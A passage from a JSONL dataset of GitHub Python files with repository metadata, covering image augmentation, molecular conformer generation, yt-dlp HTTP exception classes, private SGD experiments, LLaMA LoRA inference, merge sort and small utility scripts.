skimage.transform.AffineTransform()\n\t\ttform_ds = skimage.transform.AffineTransform()\n\t\t\n\t\tfor i in range(self.X.shape[0]):\n\t\t\tnew1 = self.fast_warp(self.X[i][0], tform_ds + tform_augment + tform_identity, \n\t\t\t\t\t\t\t\t output_shape=(PIXELS,PIXELS), mode='nearest').astype('float32')\n\t\t\tself.X[i, 0, :, :] = new1\n\n\t\t\tif CHANNELS == 3:\n\t\t\t\tnew2 = self.fast_warp(self.X[i][1], tform_ds + tform_augment + tform_identity, \n\t\t\t\t\t\t\t\t output_shape=(PIXELS,PIXELS), mode='nearest').astype('float32')\n\t\t\t\tself.X[i, 1, :, :] = new2\n\t\t\t\tnew3 = self.fast_warp(self.X[i][2], tform_ds + tform_augment + tform_identity, \n\t\t\t\t\t\t\t\t\t output_shape=(PIXELS,PIXELS), mode='nearest').astype('float32')\n\t\t\t\tself.X[i, 2, :, :] = new3\n\n\t\treturn self.X\n","repo_name":"StevenReitsma/kaggle-national-data-science-bowl","sub_path":"src/lasagne/augmenter.py","file_name":"augmenter.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"794614661","text":"import copy\r\nimport os\r\nimport pickle\r\nimport random\r\nimport sys\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport torch\r\nimport torch.optim as optim\r\nimport yaml\r\nfrom confgen.e2c.dataset import CustomData\r\nfrom confgen.model.gnn import GNN\r\nfrom confgen.molecule.graph import rdk2graph\r\nfrom confgen.molecule.gt import isomorphic_core\r\nfrom confgen.utils.utils import set_rdmol_positions, WarmCosine\r\nfrom easydict import EasyDict\r\nfrom rdkit import Chem\r\nfrom rdkit.Chem import AllChem\r\nfrom rdkit.Chem import rdMolAlign\r\nfrom rdkit.Chem.rdmolops import RemoveHs\r\nfrom torch.optim.lr_scheduler import LambdaLR\r\nfrom torch_geometric.data import DataLoader\r\nfrom tqdm import tqdm\r\n\r\n\r\ndef featurize_mol_from_smiles(smiles, remove_hs=True):\r\n # filter fragments\r\n if '.' in smiles:\r\n return None\r\n\r\n # filter mols rdkit can't intrinsically handle\r\n mol = Chem.MolFromSmiles(smiles)\r\n\r\n if mol:\r\n mol = Chem.AddHs(mol)\r\n else:\r\n return None\r\n N = mol.GetNumAtoms()\r\n\r\n conf = Chem.Conformer(N)\r\n for atom_id in range(N):\r\n conf.SetAtomPosition(atom_id, [0, 0, 0])\r\n mol.AddConformer(conf, assignId=True)\r\n\r\n if remove_hs:\r\n try:\r\n new_mol = RemoveHs(mol)\r\n except Exception:\r\n pass\r\n else:\r\n new_mol = mol\r\n\r\n graph = rdk2graph(new_mol)\r\n\r\n assert len(graph[\"edge_attr\"]) == graph[\"edge_index\"].shape[1]\r\n assert len(graph[\"node_feat\"]) == graph[\"num_nodes\"]\r\n\r\n data = CustomData()\r\n data.edge_index = torch.from_numpy(graph[\"edge_index\"]).to(torch.int64)\r\n data.edge_attr = torch.from_numpy(graph[\"edge_attr\"]).to(torch.int64)\r\n data.x = torch.from_numpy(graph[\"node_feat\"]).to(torch.int64)\r\n data.n_nodes = graph[\"n_nodes\"]\r\n data.n_edges = graph[\"n_edges\"]\r\n\r\n data.rd_mol = copy.deepcopy(new_mol)\r\n data.isomorphisms = isomorphic_core(new_mol)\r\n\r\n data.nei_src_index = torch.from_numpy(graph[\"nei_src_index\"]).to(torch.int64)\r\n data.nei_tgt_index = torch.from_numpy(graph[\"nei_tgt_index\"]).to(torch.int64)\r\n data.nei_tgt_mask = torch.from_numpy(graph[\"nei_tgt_mask\"]).to(torch.bool)\r\n\r\n data.pos = torch.zeros(data.n_nodes, 3, dtype=torch.float)\r\n\r\n return data\r\n\r\n\r\ndef evaluate_one(model, device, loader):\r\n model.eval()\r\n mol_preds = []\r\n for batch in tqdm(loader, desc=\"Iteration\"):\r\n batch = batch.to(device)\r\n with torch.no_grad():\r\n pred, _ = model(batch)\r\n pred = pred[-1]\r\n batch_size = batch.num_graphs\r\n n_nodes = batch.n_nodes.tolist()\r\n pre_nodes = 0\r\n for i in range(batch_size):\r\n mol_preds.append(set_rdmol_positions(batch.rd_mol[i], pred[pre_nodes: pre_nodes + n_nodes[i]]))\r\n pre_nodes += n_nodes[i]\r\n\r\n mol = mol_preds[0]\r\n for m in mol_preds[1:]:\r\n mol.AddConformer(m.GetConformer(0), assignId=True)\r\n\r\n rdMolAlign.AlignMolConformers(mol)\r\n mol = Chem.AddHs(mol, addCoords=True)\r\n\r\n return mol\r\n\r\n\r\ndef repeat_data(data, num_repeat):\r\n data_list = [data.clone() for i in range(num_repeat)]\r\n return data_list\r\n\r\n\r\ndef dmcg_gen(work_path, optimizer):\r\n input_file = os.path.join(work_path, 'fastsmcg_input.txt')\r\n output_file_sdf = os.path.join(work_path, 'fastsmcg_output.sdf')\r\n\r\n config_file = 'script/dmcg/config.yml'\r\n\r\n with open(config_file, 'r') as f:\r\n config = yaml.safe_load(f)\r\n config = EasyDict(config)\r\n\r\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n np.random.seed(config.args.seed)\r\n torch.manual_seed(config.args.seed)\r\n torch.cuda.manual_seed(config.args.seed)\r\n random.seed(config.args.seed)\r\n\r\n shared_params = config.shared_params\r\n model = GNN(**shared_params).to(device)\r\n\r\n checkpoint = torch.load(config.args.eval_from, map_location=device)['model_state_dict']\r\n cur_state_dict = model.state_dict()\r\n del_keys = []\r\n\r\n for k in checkpoint.keys():\r\n if k not in cur_state_dict:\r\n del_keys.append(k)\r\n\r\n for k in del_keys:\r\n del checkpoint[k]\r\n\r\n model.load_state_dict(checkpoint)\r\n\r\n if config.args.use_adamw:\r\n dmcg_optimizer = optim.AdamW(model.parameters(), lr=config.args.lr, betas=(0.9, config.args.beta2), weight_decay=config.args.weight_decay)\r\n else:\r\n dmcg_optimizer = optim.Adam(model.parameters(), lr=config.args.lr, betas=(0.9, config.args.beta2), weight_decay=config.args.weight_decay)\r\n\r\n if not config.args.lr_warmup:\r\n scheduler = LambdaLR(dmcg_optimizer, lambda x: 1.0)\r\n else:\r\n lrscheduler = WarmCosine(tmax=len(train_loader) * config.args.period, warmup=int(4e3))\r\n scheduler = LambdaLR(dmcg_optimizer, lambda x: lrscheduler.step(x))\r\n\r\n input_lines = pd.read_csv(input_file, sep=',', skiprows=14, header=0).values\r\n mol_chunks = [input_lines[i:i + 100] for i in range(0, len(input_lines), 100)]\r\n\r\n writer = Chem.SDWriter(output_file_sdf)\r\n\r\n for chunk_index, chunk in enumerate(mol_chunks):\r\n pickle_slice = {} # 类似这样 {'mol1': rdkit.Chem.rdchem.Mol, 'mol2': rdkit.Chem.rdchem.Mol}\r\n output_file_pkl = os.path.join(work_path, f'fastsmcg_output_slice{chunk_index:0>6}.pkl')\r\n for index, (smiles, title, num_conf) in enumerate(chunk):\r\n mol_title = f'{title}_{index + 1 + chunk_index * 100}'\r\n try:\r\n data = featurize_mol_from_smiles(smiles, remove_hs=True)\r\n data_list = repeat_data(data, num_conf)\r\n data_loader = DataLoader(dataset=data_list, batch_size=config.args.batch_size, shuffle=False, num_workers=config.args.num_workers)\r\n\r\n mol = evaluate_one(model, device, data_loader)\r\n mol.SetProp('_Name', mol_title)\r\n\r\n for conf_id in range(mol.GetNumConformers()):\r\n if optimizer == '1':\r\n AllChem.UFFOptimizeMolecule(mol, maxIters=500, confId=conf_id)\r\n elif optimizer == '2':\r\n AllChem.MMFFOptimizeMolecule(mol, maxIters=500, confId=conf_id)\r\n elif optimizer == '3':\r\n AllChem.MMFFOptimizeMolecule(mol, maxIters=500, confId=conf_id, mmffVariant='MMFF94s')\r\n writer.write(mol, confId=conf_id)\r\n pickle_slice[mol_title] = mol\r\n except:\r\n pickle_slice[mol_title] = []\r\n\r\n with open(output_file_pkl, 'wb') as f:\r\n pickle.dump(pickle_slice, f)\r\n\r\n writer.flush()\r\n writer.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n work_path = sys.argv[1]\r\n optimizer = sys.argv[2]\r\n dmcg_gen(work_path, optimizer)\r\n","repo_name":"wangzhehyd/fastsmcg","sub_path":"dataset-1/script/dmcg/dmcg_gen.py","file_name":"dmcg_gen.py","file_ext":"py","file_size_in_byte":6679,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"33527780003","text":"from itertools import permutations\n\n\ndef solution(numbers):\n answer = 0\n\n num_str_list = list(numbers)\n num_per_list = []\n for num_len in range(1, len(num_str_list) + 1):\n num_per_list.extend(list(permutations(num_str_list, num_len)))\n\n num_per_list = set(num_per_list)\n num_int_list = [int(\"\".join(num_str)) for num_str in num_per_list]\n\n num_int_list = set(num_int_list)\n\n for num in num_int_list:\n if num <= 1:\n continue\n is_prime = True\n for check_num in range(2, int(num ** 0.5) + 1):\n if num % check_num == 0:\n is_prime = False\n break\n if is_prime:\n answer += 1\n\n return answer","repo_name":"nakevin96/AlgorithmPracPython","sub_path":"2022_06/programmers/2022_06_17_programmers_소수만들기_yoon.py","file_name":"2022_06_17_programmers_소수만들기_yoon.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37601419232","text":"from __future__ import annotations\n\nimport typing\nimport urllib.error\n\nfrom ..utils import YoutubeDLError, deprecation_warning\n\nif typing.TYPE_CHECKING:\n from .common import RequestHandler, Response\n\n\nclass RequestError(YoutubeDLError):\n def __init__(\n self,\n msg: str | None = None,\n cause: Exception | str | None = None,\n handler: RequestHandler = None\n ):\n self.handler = handler\n self.cause = cause\n if not msg and cause:\n msg = str(cause)\n super().__init__(msg)\n\n\nclass UnsupportedRequest(RequestError):\n \"\"\"raised when a handler cannot handle a request\"\"\"\n pass\n\n\nclass NoSupportingHandlers(RequestError):\n \"\"\"raised when no handlers can support a request for various reasons\"\"\"\n\n def __init__(self, unsupported_errors: list[UnsupportedRequest], unexpected_errors: list[Exception]):\n self.unsupported_errors = unsupported_errors or []\n self.unexpected_errors = unexpected_errors or []\n\n # Print a quick summary of the errors\n err_handler_map = {}\n for err in unsupported_errors:\n err_handler_map.setdefault(err.msg, []).append(err.handler.RH_NAME)\n\n reason_str = ', '.join([f'{msg} ({\", \".join(handlers)})' for msg, handlers in err_handler_map.items()])\n if unexpected_errors:\n reason_str = ' + '.join(filter(None, [reason_str, f'{len(unexpected_errors)} unexpected error(s)']))\n\n err_str = 'Unable to handle request'\n if reason_str:\n err_str += f': {reason_str}'\n\n super().__init__(msg=err_str)\n\n\nclass TransportError(RequestError):\n \"\"\"Network related errors\"\"\"\n\n\nclass HTTPError(RequestError):\n def __init__(self, response: Response, redirect_loop=False):\n self.response = response\n self.status = response.status\n self.reason = response.reason\n self.redirect_loop = redirect_loop\n msg = f'HTTP Error {response.status}: {response.reason}'\n if redirect_loop:\n msg += ' (redirect loop detected)'\n\n super().__init__(msg=msg)\n\n def close(self):\n self.response.close()\n\n def __repr__(self):\n return f''\n\n\nclass IncompleteRead(TransportError):\n def __init__(self, partial: int, expected: int | None = None, **kwargs):\n self.partial = partial\n self.expected = expected\n msg = f'{partial} bytes read'\n if expected is not None:\n msg += f', {expected} more expected'\n\n super().__init__(msg=msg, **kwargs)\n\n def __repr__(self):\n return f''\n\n\nclass SSLError(TransportError):\n pass\n\n\nclass CertificateVerifyError(SSLError):\n \"\"\"Raised when certificate validated has failed\"\"\"\n pass\n\n\nclass ProxyError(TransportError):\n pass\n\n\nclass _CompatHTTPError(urllib.error.HTTPError, HTTPError):\n \"\"\"\n Provides backwards compatibility with urllib.error.HTTPError.\n Do not use this class directly, use HTTPError instead.\n \"\"\"\n\n def __init__(self, http_error: HTTPError):\n super().__init__(\n url=http_error.response.url,\n code=http_error.status,\n msg=http_error.msg,\n hdrs=http_error.response.headers,\n fp=http_error.response\n )\n self._closer.close_called = True # Disable auto close\n self._http_error = http_error\n HTTPError.__init__(self, http_error.response, redirect_loop=http_error.redirect_loop)\n\n @property\n def status(self):\n return self._http_error.status\n\n @status.setter\n def status(self, value):\n return\n\n @property\n def reason(self):\n return self._http_error.reason\n\n @reason.setter\n def reason(self, value):\n return\n\n @property\n def headers(self):\n deprecation_warning('HTTPError.headers is deprecated, use HTTPError.response.headers instead')\n return self._http_error.response.headers\n\n @headers.setter\n def headers(self, value):\n return\n\n def info(self):\n deprecation_warning('HTTPError.info() is deprecated, use HTTPError.response.headers instead')\n return self.response.headers\n\n def getcode(self):\n deprecation_warning('HTTPError.getcode is deprecated, use HTTPError.status instead')\n return self.status\n\n def geturl(self):\n deprecation_warning('HTTPError.geturl is deprecated, use HTTPError.response.url instead')\n return self.response.url\n\n @property\n def code(self):\n deprecation_warning('HTTPError.code is deprecated, use HTTPError.status instead')\n return self.status\n\n @code.setter\n def code(self, value):\n return\n\n @property\n def url(self):\n deprecation_warning('HTTPError.url is deprecated, use HTTPError.response.url instead')\n return self.response.url\n\n @url.setter\n def url(self, value):\n return\n\n @property\n def hdrs(self):\n deprecation_warning('HTTPError.hdrs is deprecated, use HTTPError.response.headers instead')\n return self.response.headers\n\n @hdrs.setter\n def hdrs(self, value):\n return\n\n @property\n def filename(self):\n deprecation_warning('HTTPError.filename is deprecated, use HTTPError.response.url instead')\n return self.response.url\n\n @filename.setter\n def filename(self, value):\n return\n\n def __getattr__(self, name):\n # File operations are passed through the response.\n # Warn for some commonly used ones\n passthrough_warnings = {\n 'read': 'response.read()',\n # technically possibly due to passthrough, but we should discourage this\n 'get_header': 'response.get_header()',\n 'readable': 'response.readable()',\n 'closed': 'response.closed',\n 'tell': 'response.tell()',\n }\n if name in passthrough_warnings:\n deprecation_warning(f'HTTPError.{name} is deprecated, use HTTPError.{passthrough_warnings[name]} instead')\n return super().__getattr__(name)\n\n def __str__(self):\n return str(self._http_error)\n\n def __repr__(self):\n return repr(self._http_error)\n\n\nnetwork_exceptions = (HTTPError, TransportError)\n","repo_name":"yt-dlp/yt-dlp","sub_path":"yt_dlp/networking/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","stars":60520,"dataset":"github-code","pt":"78"} +{"seq_id":"9601634247","text":"import matplotlib.pyplot as plot\nimport csv\nimport re\n\n\ndef read_csv(path):\n with open(path, 'r') as csvFile:\n reader = csv.reader(csvFile, delimiter=',')\n header = next(reader)\n data = []\n for row in reader:\n iterable = zip(header, row)\n countryDict = {key: value for key, value in iterable}\n data.append(countryDict)\n return data\n\ndef obtenerValoresDifPoblacional(data, country):\n dictPoblacional = {}\n for item in data:\n if country == item['Country/Territory']:\n keys = item.keys()\n patron = re.compile('([0-9]+) (Population)')\n for row in keys:\n if patron.search(row):\n dictPoblacional[row] = int(item[row])\n\n print(dictPoblacional)\n return dictPoblacional.keys(), dictPoblacional.values()\n\ndef graficarPoblacion(rows, columns):\n fig, ax = plot.subplots()\n ax.bar(rows, columns)\n plot.show()\n\ndef obtenerValoresPorcPoblacional(data):\n dictPorcentajes = {\n item['Country/Territory']: item['World Population Percentage']\n for item in data\n }\n return dictPorcentajes.keys(), dictPorcentajes.values()\n\n\nif __name__ == '__main__':\n data = read_csv('./app/data.csv')\n rows, columns = obtenerValoresPorcPoblacional(data)\n graficarPoblacion(rows, columns)\n\n","repo_name":"Bloodofcrow/PrimerProyectoPlatzi","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30436795222","text":"import argparse\nimport os\nimport time\nimport timeit\nimport numpy as np\nfrom scipy.special import logsumexp\nfrom rsgd.algo.recur_mech import sgd_recur\nfrom rsgd.algo.gmm import renyi\nfrom rsgd.common.dat import load_dat\nfrom rsgd.common.logistic import logit_loss\nfrom rsgd.common.logistic import logistic_grad\nfrom rsgd.common.logistic import logistic_test\nfrom rsgd.common.svm import hsvm_loss\nfrom rsgd.common.svm import hsvm_grad\nfrom rsgd.common.svm import svm_test\nfrom sklearn.model_selection import RepeatedKFold\n\n\ndef compute_epsilon(sens, alpha, sigma_sq, delta, m):\n expo = (alpha*(alpha-1)*np.square(sens)[:, np.newaxis]\n / sigma_sq[:, np.newaxis, np.newaxis])\n log_eta = logsumexp(expo, axis=1) - np.log(m)\n rdp_eps = log_eta / (alpha - 1.0)\n dp_eps = rdp_eps + np.log(1.0/delta) / (alpha - 1.0)\n\n # min_idx = np.argmin(dp_eps, axis=1)\n # for i in range(len(min_idx)):\n # sigma = np.sqrt(0.5*sigma_sq[i])\n # print \"sigma={} rdp_eps={} min_eps={} alpha={}\".format(\n # sigma, rdp_eps[i, min_idx[i]], dp_eps[i, min_idx[i]],\n # alpha[min_idx[i]])\n\n return np.min(dp_eps, axis=1)\n\n\ndef epsilon_worst_case(sens, alpha, sigma_sq, delta):\n sens_sq = (sens[-1])**2\n rdp_eps = alpha*sens_sq/sigma_sq[:, np.newaxis]\n dp_eps = rdp_eps + np.log(1.0/delta) / (alpha - 1.0)\n\n return np.min(dp_eps, axis=1)\n\n\ndef compute_exact_renyi(sens, alpha, sigma, delta, m):\n n_alpha = len(alpha)\n n_sigma = len(sigma)\n bottom = np.zeros(m)\n\n min_eps = np.zeros(n_sigma)\n\n for i in range(n_sigma):\n dp_eps = np.zeros(n_alpha)\n rdp_eps = np.zeros_like(dp_eps)\n\n for j in range(n_alpha):\n rdp_eps[j] = renyi(alpha[j], sigma[i], sens, bottom)\n dp_eps[j] = rdp_eps[j] + np.log(1.0/delta) / (alpha[j] - 1.0)\n\n min_eps[i] = np.min(dp_eps)\n\n # min_idx = np.argmin(dp_eps)\n # print \"simga={} min_eps={} alpha={} rdp_eps={}\".format(\n # sigma[i], min_eps[i], alpha[min_idx], rdp_eps[min_idx])\n\n return min_eps\n\n\ndef main(args):\n # load the dataset\n dname = f\"{args.dname}.dat\"\n fpath = os.path.join(args.data_dir, dname)\n X, y = load_dat(fpath, shuffle=args.shuffle, normalize=args.norm)\n N, dim = X.shape\n\n # order of Renyi divergence\n alpha = np.linspace(1.5, 2560, 2000)\n delta = args.delta\n sigma = np.array([0.005, 0.01, 0.025, 0.05, 0.1, 0.2, 0.3, 0.4, 0.6, 0.8, 1.0, 1.4])\n sigma = np.flip(sigma, 0)\n batch_size = args.batch_size\n\n n_sigma = len(sigma)\n cv_rep = 10\n K = 5\n n_rep = K * cv_rep\n\n eps = np.zeros((2, n_sigma, n_rep))\n acc = np.zeros_like(eps)\n obj = np.zeros_like(eps)\n j = 0\n\n # task\n if args.svm:\n loss_func = hsvm_loss\n grad_func = hsvm_grad\n test_func = svm_test\n y[y < 0.5] = -1.0\n task = 'svm'\n else:\n loss_func = logit_loss\n grad_func = logistic_grad\n test_func = logistic_test\n task = 'logres'\n\n rkf = RepeatedKFold(n_splits=K, n_repeats=cv_rep)\n\n for train_idx, test_idx in rkf.split(X):\n train_X, train_y = X[train_idx, :], y[train_idx]\n test_X, test_y = X[test_idx, :], y[test_idx]\n\n train_size = train_X.shape[0] * 1.0\n m = int(train_size / batch_size)\n\n noise = np.random.randn(dim)\n\n # new recurrence relation\n w, sens = sgd_recur(train_X, train_y, grad_func,\n batch_size, args.T, args.L,\n reg_coeff=args.mu, R=args.norm,\n init_step=args.init_step,\n verbose=False)\n\n sigma_sq = 2.0 * np.square(sigma)\n eps[0, :, j] = compute_epsilon(sens[-1, :], alpha, sigma_sq, delta, m)\n # eps[0, :, j] = compute_exact_renyi(sens[-1], alpha, sigma, delta, m)\n\n noisy_w = w[-1, :] + sigma[:, np.newaxis] * noise\n acc[0, :, j] = test_func(noisy_w, test_X, test_y)*100\n obj[0, :, j] = loss_func(noisy_w, train_X, train_y, reg_coeff=args.mu)\n\n # averaged sgd\n avg_sens = np.mean(sens, axis=0)\n eps[1, :, j] = compute_epsilon(avg_sens, alpha, sigma_sq, delta, m)\n\n noisy_w = np.mean(w, axis=0) + sigma[:, np.newaxis] * noise\n acc[1, :, j] = test_func(noisy_w, test_X, test_y)*100\n obj[1, :, j] = loss_func(noisy_w, train_X, train_y, reg_coeff=args.mu)\n j += 1\n\n avg_acc = np.mean(acc, axis=2)\n avg_eps = np.mean(eps, axis=2)\n avg_obj = np.mean(obj, axis=2)\n\n str_mu = \"{0}\".format(args.mu)[2:]\n str_is = \"{0}\".format(args.init_step).replace('.', '').rstrip('0')\n filename = \"sgdr_{5}_T{0}B{1}mu{2}IS{3}_{4}\".format(\n args.T, args.batch_size, str_mu, str_is, args.dname, task)\n rs_dir = \"./plot/results\"\n np.savetxt(\"{0}/{1}_eps.out\".format(rs_dir, filename), avg_eps, fmt='%.5f')\n np.savetxt(\"{0}/{1}_acc.out\".format(rs_dir, filename), avg_acc, fmt='%.5f')\n np.savetxt(\"{0}/{1}_obj.out\".format(rs_dir, filename), avg_obj, fmt='%.5f')\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='recursive mechanism')\n parser.add_argument('dname', help='dataset name')\n parser.add_argument('T', type=int, help='total number of iterations')\n parser.add_argument('--data_dir', type=str, default=None)\n parser.add_argument('--batch_size', type=int, default=4000)\n parser.add_argument('--init_step', type=float, default=0.5)\n parser.add_argument('--mu', type=float, default=0.001)\n parser.add_argument('--L', type=float, default=0.25)\n parser.add_argument('--delta', type=float, default=1e-8)\n parser.add_argument('--norm', type=float, default=1.0)\n parser.add_argument('--svm', action='store_true')\n parser.add_argument('--shuffle', action='store_true')\n args = parser.parse_args()\n\n start_time = timeit.default_timer()\n\n main(args)\n","repo_name":"ppmlguy/RSGD","sub_path":"run_sgd_recur.py","file_name":"run_sgd_recur.py","file_ext":"py","file_size_in_byte":5873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"70993847611","text":"# -*- coding: utf-8 -*-\n# @Author: watcher\n# @Created Time: 2023/5/17 10:09 AM\n# @File: llama_predict_lora\n# @Email: mlshenkai@163.com\nimport os\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1,2,3,4,5\"\n# os.environ[\"WORLD_SIZE\"] = str(5)\n\n\nimport pyrootutils\n\nproject_path = pyrootutils.setup_root(\n __file__, project_root_env_var=True, dotenv=True, pythonpath=True, cwd=False\n)\nfrom src.LMBuilder.LLM.models import LlamaModelPeft\nfrom src.LMBuilder.LLM.models import LlamaModelInfer\nimport transformers\ntransformers.logging.set_verbosity_error()\nlocal_rank = int(os.getenv(\"LOCAL_RANK\", \"0\"))\nworld_size = int(os.getenv(\"WORLD_SIZE\", \"1\"))\n\n# deepspeed.init_distributed(\"nccl\")\n# rank = dist.get_rank()\n\n\ndef load_data(file_path):\n data = []\n with open(file_path, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n line = line.replace(\"\\\\n\", \"\\n\")\n line = line.strip(\"\\n\")\n terms = line.split(\"¥\")\n instruction = \"从下面的品名文本中提取英文品名:\"\n if len(terms) < 2:\n continue\n\n origin_goods_name = terms[0]\n eng_goods_name = terms[-1]\n if eng_goods_name and origin_goods_name:\n\n data.append([instruction, terms[0], terms[-1]])\n # if len(terms) == 2:\n # data.append([instruction, terms[0], terms[1]])\n # else:\n # logger.warning(f'line error: {line}')\n return data\n\n\ndef get_prompt(arr):\n if arr[\"input\"].strip():\n return f\"\"\"Below is an instruction that describes a task. Write a response that appropriately \n completes the request.\\n\\n### Instruction:\\n{arr['instruction']}\\n### \n Input:\\n{arr['input']}\\n\\n### Response:\"\"\"\n else:\n return f\"\"\"Below is an instruction that describes a task. Write a response that \n appropriately completes the request.\\n\\n### Instruction:\\n{arr['instruction']}\\n\\n### Response:\"\"\"\n\n\ndef main():\n model_peft = LlamaModelPeft(\n \"llama\",\n \"/code-online/resources/base_model_resources/chinese_llama/merge_chinese_alpaca_llama_lora_13b\",\n is_eval=True\n # peft_name=f\"{project_path}/examples/peft/llama/outputs_p_tuning\",\n )\n # test_file = f\"{project_path}/resources/data/中英品名0512.txt\"\n # test_data = load_data(test_file)[1:10]\n # test_data = [[\"将一下文本中出现的数字均加一\\n今年是2023年5月23日\",\"今年是2023年5月23日\", \"\"]]\n # test_df = pd.DataFrame(test_data, columns=[\"instruction\", \"input\", \"output\"])\n # logger.debug(\"test_df: {}\".format(test_df))\n #\n # test_df[\"prompt\"] = test_df.apply(get_prompt, axis=1)\n # print(model.predict(test_df['prompt'].tolist()))\n prompt = \"\"\"\n Below is an instruction that describes a task. Write a response that appropriately \n completes the request.\\n\\n\n ### Instruction:\\n\n 将下面出现的数字均加一\n \\n\n ### Input:\\n\n 2023年5月23日\n \\n\\n\n ### Response:\\n\n 2024年6月24日\n \\n\n ### Input:\\n\n 今年是2023年5月23日\n \\n\\n\n ### Response:\\n\n \"\"\"\n\n refine_prompt_template = (\n \"Below is an instruction that describes a task. \"\n \"Write a response that appropriately completes the request.\\n\\n\"\n \"### Instruction:\\n\"\n \"这是原始问题: {question}\\n\"\n \"已有的回答: {existing_answer}\\n\"\n \"现在还有一些文字,(如果有需要)你可以根据它们完善现有的回答。\"\n \"\\n\\n\"\n \"{context_str}\\n\"\n \"\\\\nn\"\n \"请根据新的文段,进一步完善你的回答。\\n\\n\"\n \"### Response: \"\n )\n\n model_infer = LlamaModelInfer(model_peft.args)\n model = model_peft.model\n tokenizer = model_peft.tokenizer\n # model = deepspeed.init_inference(\n # model=model,\n # mp_size=world_size,\n # dtype=torch.float16,\n # replace_method=\"auto\",\n # replace_with_kernel_inject=True,\n # )\n\n print(model_infer.infer(model, [prompt], tokenizer, device=model.device))\n\n\nif __name__ == \"__main__\":\n # print(dist.get_world_size())\n main()\n","repo_name":"mlshenkai/LMPromptBuilder","sub_path":"examples/finetuning_examples/peft/llama/llama_predict_lora.py","file_name":"llama_predict_lora.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"33887578330","text":"# An alternative merge sort algorithm\n# Adapted from: http://interactivepython.org/UZmZ/courselib/static/pythonds/SortSearch/TheMergeSort.html\n\ndata = [54, 26, 93, 17, 77, 31, 44, 55, 20]\n\n\ndef merge_sort(data_list):\n if len(data_list) > 1: # If there is more than one item in the list\n print(\"Splitting list...\")\n\n mid_pointer = len(data_list) // 2 # mid_pointer is the middle item of the list\n\n left_half = data_list[0:mid_pointer]\n right_half = data_list[mid_pointer:]\n\n print(left_half, \" \", right_half)\n\n merge_sort(left_half)\n merge_sort(right_half)\n\n left_pointer = 0\n right_pointer = 0\n index = 0\n\n while left_pointer < len(left_half) and right_pointer < len(right_half):\n # If the present item in the left list is smaller than the present item in the right list\n if left_half[left_pointer] < right_half[right_pointer]:\n # Add the smaller item into the index location in data_list\n data_list[index] = left_half[left_pointer]\n left_pointer = left_pointer + 1\n\n else:\n data_list[index] = right_half[right_pointer]\n right_pointer = right_pointer + 1\n\n index = index + 1\n\n while left_pointer < len(left_half):\n data_list[index] = left_half[left_pointer]\n left_pointer = left_pointer + 1\n index = index + 1\n\n while right_pointer < len(right_half):\n data_list[index] = right_half[right_pointer]\n right_pointer = right_pointer + 1\n index = index + 1\n\n print(\"Merging...\")\n print(data_list)\n\n\nmerge_sort(data)","repo_name":"ShiplakeCS/A-Level-AQA-CS","sub_path":"algorithms/merge_sort2.py","file_name":"merge_sort2.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"28489485386","text":"import json\nfrom Utilities.file_exists import file_exists\n\n\n# Function reads the source file provided and return file content as a list\ndef read_source_file(jsn_file_name):\n \"\"\"\n This function reads a JSON file into a list of dictionaries. It first checks whether the file it needs to\n read exists.\n \"\"\"\n if file_exists(jsn_file_name):\n try: #even if the file exists - it may not be in the right format\n with open(jsn_file_name, \"r\") as data_file:\n file_content = json.load(data_file)\n # returns a list of dictionaries : [{'Date': '2018/11/30', 'Category': 'Fuel', 'Cost': '1665,9',.....\n return_list =[True, file_content]\n return return_list\n except UnicodeDecodeError:\n problem_message = \"The json configuration file for this report generator is corrupted. This program will \" \\\n \"not be able to execute. Please email the developer at info@novus3.co.za.\"\n return_list = [False, problem_message]\n return return_list\n else:\n problem_message = \"The json configuration file this report generator could not be found. This program will \" \\\n \"not be able to execute. Please email the developer at info@novus3.co.za.\"\n return_list = [False, problem_message]\n return return_list\n\ndef vars_from_json_file(json_source_file):\n \"\"\"\n This function gets the json variables from the json reader and reads them into 3 seperate lists namely:\n org_list\n entityname_list\n url_list\n \"\"\"\n return_list = read_source_file(json_source_file)\n file_status = return_list[0]\n jsn_var = return_list[1]\n org_list = []\n entityname_list = []\n url_list = []\n if file_status: # If nothing is wrong with the file\n for entity in jsn_var:\n org_list.append(entity['org'])\n entityname_list.append(entity['entity_name'])\n url_list.append(entity['cp3_url'])\n status_list = [return_list, org_list, entityname_list, url_list]\n return status_list\n","repo_name":"bernardvb0101/CP3SR","sub_path":"Utilities/get_url_vars.py","file_name":"get_url_vars.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31255547889","text":"\nfrom image_loader import default_image_loader\nfrom torchvision import transforms\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nimport cv2\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ndef unnormalize(tensor):\n return ((tensor.cpu().squeeze(0).numpy()+np.array([0.485,0.456,0.406]))*np.array([0.229,0.224,0.225])).transpose((1,2,0)).clip(0,1)\n\ndef get_subwindow_feature(model, image, location, input_sz, layer_name = None, visualize = True):\n 